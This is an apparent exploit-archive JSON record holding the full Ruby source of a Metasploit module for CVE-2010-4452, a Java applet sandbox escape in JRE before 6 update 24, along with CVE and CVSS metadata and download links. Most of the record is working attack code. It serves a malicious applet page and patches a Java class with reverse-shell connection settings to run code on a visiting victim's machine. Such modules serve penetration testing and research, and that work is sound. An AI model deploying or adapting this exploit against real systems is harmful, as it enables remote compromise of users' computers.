{"exploit":{"id":"MSF-windows--browser--java_codebase_trust","name":"Sun Java Applet2ClassLoader Remote Code Execution","description":"This module exploits a vulnerability in the Java Runtime Environment that allows an attacker to run an applet outside of the Java Sandbox. When an applet is invoked with: 1. A \"codebase\" parameter that points at a trusted directory 2. A \"code\" parameter that is a URL that does not contain any dots the applet will run outside of the sandbox. This vulnerability affects JRE prior to version 6 update 24.","cves":["CVE-2010-4452"],"author":"Frederic Hoguin, jduck","published":"2011-02-15","platform":"Java","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/browser/java_codebase_trust.rb","path":"modules/exploits/windows/browser/java_codebase_trust.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"java_codebase_trust.rb","vulnerabilities":[{"id":"CVE-2010-4452","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Deployment component in Java Runtime Environment (JRE) in Oracle Java SE and Java for Business 6 Update 23 and earlier allows remote untrusted Java Web Start applications and untrusted Java applets to affect confidentiality, integrity, and availability via unknown vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-4452","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-4452"},"updatedAt":"2024-08-07T03:43:14.899Z","retrievedAt":"2026-11-26T11:43:20.119Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--browser--java_codebase_trust.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--browser--java_codebase_trust","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--java_codebase_trust/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--java_codebase_trust/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Sun Java Applet2ClassLoader Remote Code Execution',\n        'Description' => %q{\n          This module exploits a vulnerability in the Java Runtime Environment\n          that allows an attacker to run an applet outside of the Java Sandbox. When\n          an applet is invoked with:\n\n          1. A \"codebase\" parameter that points at a trusted directory\n          2. A \"code\" parameter that is a URL that does not contain any dots\n\n          the applet will run outside of the sandbox.\n\n          This vulnerability affects JRE prior to version 6 update 24.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Frederic Hoguin', # Discovery, PoC\n          'jduck' # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2010-4452' ],\n          [ 'OSVDB', '71193' ],\n          [ 'ZDI', '11-084' ],\n          [ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ],\n          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ]\n        ],\n        'Payload' => {\n          'Space' => 20480,\n          'BadChars' => '',\n          'DisableNops' => true,\n          'Compat' =>\n              {\n                'ConnectionType' => '-find'\n              }\n        },\n        'Targets' => [\n          # OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23\n          # FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23\n          [\n            'Generic (Java Payload)',\n            {\n              'Arch' => ARCH_JAVA,\n              'Platform' => 'java'\n            }\n          ],\n\n# Native payloads aren't currently supported (only work with jar/war)\n=begin\n          [ 'Windows x86',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'win',\n            }\n          ],\n=end\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2011-02-15',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n      )\n\n    register_options(\n      [\n        # This is the default for a 32-bit Windows install\n        OptString.new('LIBPATH', [\n          false, 'The codebase path to use (privileged)',\n          'C:\\\\Program Files\\\\java\\\\jre6\\\\lib\\\\ext'\n        ]),\n      ]\n    )\n  end\n\n  def exploit\n    path = [ Msf::Config.data_directory, 'exploits', 'cve-2010-4452', 'AppletX.class' ].join(::File::SEPARATOR)\n    @java_class = nil\n    File.open(path, 'rb') do |fd|\n      @java_class = fd.read(fd.stat.size)\n    end\n    if !@java_class\n      fail_with(Failure::Unknown, 'Unable to load java class')\n    end\n\n    super\n  end\n\n  def on_request_uri(cli, request)\n    # print_status(\"Received request: #{request.uri}\")\n\n    jpath = get_uri(cli)\n    # print_status(jpath)\n\n    # Do what get_uri does so that we can replace it in the string\n    # This could proably use the Host header from the request\n    host = Rex::Socket.source_address(cli.peerhost)\n    host_num = Rex::Socket.addr_aton(host).unpack('N').first\n    code_url = jpath.sub(host, host_num.to_s)\n\n    codebase = 'file:' + datastore['LIBPATH']\n\n    config = \"Spawn=2\\nLPORT=#{datastore['LPORT']}\\n\"\n    # The java payloads decide to be reverse if LHOST is set.\n    config << \"LHOST=#{datastore['LHOST']}\\n\" if datastore['PAYLOAD'] =~ /reverse/\n    config_off = 0x10e\n\n    cn_off = 0x2f76\n\n    case request.uri\n\n    when /\\.class$/\n      # NOTE: the payload for this module is implemented in the .class file directly.\n      #\n      # This is due to the following:\n      # 1. The file must be a single .class file\n      # 2. The class inside must derive from Applet\n      #\n      # As such, we do not use the traditional payload generation facilities.\n      # However, we call the following so that bind payloads will properly\n      # connect to the client instead of using RHOST\n      regenerate_payload(cli)\n\n      print_status('Sending .class file')\n\n      cls = @java_class.dup\n      cls[config_off, 2] = [config.length].pack('n')\n      cls[config_off + 2, 8] = config\n\n      cn_off += (config.length - 8) # the original length was 8 (CONFIGZZ)\n      cls[cn_off, 2] = [code_url.length].pack('n')\n      cls[cn_off + 2, 7] = code_url\n\n      # File.open('ughz.class', 'wb') { |fd| fd.write cls }\n\n      send_response(cli, cls, { 'Content-Type' => 'application/octet-stream' })\n      handler(cli)\n\n    else\n      html = <<~EOS\n        <html>\n        <body>\n        <applet codebase=\"#{codebase}\" code=\"#{code_url}\" />\n        </body>\n        </html>\n      EOS\n      print_status('Sending HTML')\n      send_response_html(cli, html)\n    end\n  end\nend\n","sha256":"ce7a13b80bd5b93a300b43c3788a91b2bd7e071e44cfde5605fe9b0dc73ee5cd","bytes":5072,"fetchedAt":"2026-11-26T11:43:13.942Z","encoding":"utf-8 (display only; download retains original bytes)"}